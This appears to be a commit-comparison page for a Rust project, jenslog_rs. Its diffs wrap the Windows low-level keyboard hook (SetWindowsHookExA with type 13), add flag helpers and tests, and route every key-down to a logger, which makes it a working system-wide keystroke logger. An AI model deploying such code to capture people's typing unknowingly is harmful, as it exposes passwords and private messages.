Compare commits

...

5 commits

Author SHA1 Message Date
LordMZTE deb188aa14 implement FlagOperations for all integers using macro 2020-09-07 22:54:30 +02:00
LordMZTE 395cd49d4f small clean ups for flag operations 2020-09-07 00:35:53 +02:00
LordMZTE 4bbde71e8e add some abstraction to windows api calls 2020-09-01 16:31:07 +02:00
LordMZTE ee15231a47 KeyState uses flag to determine event type instead of seperate parameter
added is_down method to KeyState
added more tests
add get_flag and has_one_bit_set functions to lib.rs
change main.rs to use is_down instead of w_param for checking event type
2020-09-01 01:18:34 +02:00
LordMZTE dde124e76a add test 2020-09-01 00:38:42 +02:00
5 changed files with 149 additions and 28 deletions

40
src/key/Keyhook.rs Normal file
View file

@ -0,0 +1,40 @@
#![macro_use]
use winapi::um::winuser::{HOOKPROC, SetWindowsHookExA, GetMessageW};
use std::ptr::null_mut;
#[macro_export]
//im suprised this works.
macro_rules! hookproc {
($i:expr) => {{
use std::option::Option::Some;
use winapi::um::winuser::PKBDLLHOOKSTRUCT;
unsafe extern "system" fn hookproc(code: i32, w_param: usize, l_param: isize) -> isize {
$i(code, w_param, *(l_param as PKBDLLHOOKSTRUCT));
0
}
Some(hookproc)
}}
}
pub struct Keyhook {
pub callback: HOOKPROC,
}
impl Keyhook {
/// use `hookproc` macro here to get callback from closure
pub fn new(callback: HOOKPROC) -> Self {
Self {
callback,
}
}
pub fn start(&self) {
unsafe {
SetWindowsHookExA(13, self.callback.clone(), null_mut(), 0);
GetMessageW(null_mut(), null_mut(), 0, 0);
}
}
}

View file

@ -1,7 +1,8 @@
use std::ffi::OsString;
use winapi::um::winuser::{GetKeyNameTextW, KBDLLHOOKSTRUCT, LLKHF_EXTENDED};
use winapi::um::winuser::{GetKeyNameTextW, KBDLLHOOKSTRUCT, LLKHF_EXTENDED, LLKHF_UP};
use wio::wide::FromWide;
use crate::FlagOperations;
#[allow(clippy::struct_excessive_bools)]
pub struct KeyState {
@ -31,7 +32,8 @@ impl KeyState {
}
/// `key_down` if the event was a keydown event, this should be true. if it was keyup it should be false
pub fn update(&mut self, key: KBDLLHOOKSTRUCT, key_down: bool) {
pub fn update(&mut self, key: KBDLLHOOKSTRUCT) {
let key_down = !key.flags.get_flag(LLKHF_UP);
self.kbdllstruct = key;
match key.vkCode {
@ -40,7 +42,7 @@ impl KeyState {
164 | 165 => self.alt_down = key_down,
91 => self.win_down = key_down,
_ => {},
}
};
}
/// true if the key is an auxiliary key like shift, control or the windows key
@ -48,15 +50,46 @@ impl KeyState {
matches!(self.kbdllstruct.vkCode, 160..=165 | 91)
}
#[no_mangle]
#[no_mangle] //required to not get garbage from native call
pub fn name(&self) -> String {
unsafe {
#[allow(clippy::if_not_else)] //clippy wrongfully assumes the != here is unecessary
let flags = if self.kbdllstruct.flags & LLKHF_EXTENDED != 0 { 1 << 24 } else { 0 };
let flags = if self.kbdllstruct.flags.get_flag(LLKHF_EXTENDED) { 1 << 24 } else { 0 };
let mut out = [0_u16; 128];
GetKeyNameTextW((self.kbdllstruct.scanCode << 16 | flags /*this distinguishes special keys by setting a flag. yes only microsoft thinks that input and flags in 1 param is a good idea*/) as i32, (&mut out).as_mut_ptr(), 128);
let null_pos = out.iter().position(|x| *x == b'\0' as u16).unwrap_or_else(|| out.len());
OsString::from_wide(&out[..null_pos]).to_str().unwrap().to_owned()
}
}
}
///true if this event is keydown, otherwise false
pub fn is_down(&self) -> bool {
!self.kbdllstruct.flags.get_flag(LLKHF_UP)
}
}
#[cfg(test)]
mod tests {
use crate::key::keystate::KeyState;
use winapi::um::winuser::LLKHF_UP;
#[test]
fn is_aux_key() {
let mut k = KeyState::new();
k.kbdllstruct.vkCode = 160;
assert!(k.is_aux_key());
}
#[test]
fn is_down() {
let mut k = KeyState::new();
k.kbdllstruct.flags = LLKHF_UP;
assert!(!k.is_down());
k.kbdllstruct.flags = 0;
assert!(k.is_down());
}
}

View file

@ -1 +1,2 @@
pub mod keystate;
pub mod keystate;
pub mod keyhook;

View file

@ -1,13 +1,65 @@
//region Clippy config
#![warn(clippy::pedantic)]
//disable silly rules
#![allow(
clippy::module_name_repetitions, //complains about function names which makes no sense, so disabled
clippy::must_use_candidate, //no i dont wannt to add the must_use attribute to everything
clippy::must_use_candidate, //no i dont want to add the must_use attribute to everything
clippy::cast_lossless, clippy::cast_possible_wrap, //lossy casts are required to work with garbage WinApi
)]
//endregion
pub mod logging;
pub mod key;
macro_rules! impl_flag_operations {
($($ty:ty),*) => {
$(
impl FlagOperations for $ty {
fn has_one_bit_set(&self) -> bool {
*self > 0 && *self & (*self - 1) == 0
}
fn get_flag(&self, flag: Self) -> bool {
if flag.has_one_bit_set() {
self & flag != 0
} else {
panic!("flag must have 1 bit set")
}
}
}
)*
};
}
impl_flag_operations!(usize, u8, u16, u32, u64, u128, isize, i8, i16, i32, i64, i128);
trait FlagOperations {
///true if exactly 1 bit of the given number is set
fn has_one_bit_set(&self) -> bool;
///gets the flag at the position of `flag`. `flag` must have exactly 1 bit set
/// `flag` should have 1 bit set at the position of the flag to get
fn get_flag(&self, flag: Self) -> bool;
}
#[cfg(test)]
mod tests {
use crate::FlagOperations;
#[test]
fn get_flag() {
assert!(5.get_flag(1 << 2));
assert!(!3.get_flag(1 << 2));
}
#[test]
#[should_panic]
fn get_flag_panic() {
0.get_flag(3);
}
#[test]
fn has_one_bit_set() {
assert!(1.has_one_bit_set());
assert!(!3.has_one_bit_set());
}
}

View file

@ -1,13 +1,13 @@
#[macro_use(hookproc)]
extern crate jenslog_rs;
#[macro_use]
extern crate lazy_static;
use std::env::args;
use std::ptr::null_mut;
use std::sync::Mutex;
use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA};
use jenslog_rs::{key::keystate::KeyState, logging::logger::{Logger, get_logger}};
use jenslog_rs::{key::keystate::KeyState, logging::logger::{get_logger, Logger}};
use jenslog_rs::key::keyhook::Keyhook;
lazy_static! {
static ref KEYSTATE: Mutex<Box<KeyState>> = Mutex::new(KeyState::new());
@ -15,18 +15,13 @@ lazy_static! {
}
fn main() {
unsafe {
SetWindowsHookExA(13, Some(hook_callback), null_mut(), 0);
GetMessageW(null_mut(), null_mut(), 0, 0);
}
}
unsafe extern "system" fn hook_callback(_code: i32, w_param: usize, l_param: isize) -> isize {
let mut state = KEYSTATE.lock().unwrap();
let key = *(l_param as PKBDLLHOOKSTRUCT);
state.update(key, w_param == 256);
//Check if keydown and not aux key
if w_param != 256 || state.is_aux_key() { return 0; }
LOGGER.log(&state);
0
let hook = Keyhook::new(hookproc!(|_, _, key| {
let mut state = KEYSTATE.lock().unwrap();
state.update(key);
//Check if keydown and not aux key
if state.is_down() && !state.is_aux_key() {
LOGGER.log(&state);
}
}));
hook.start();
}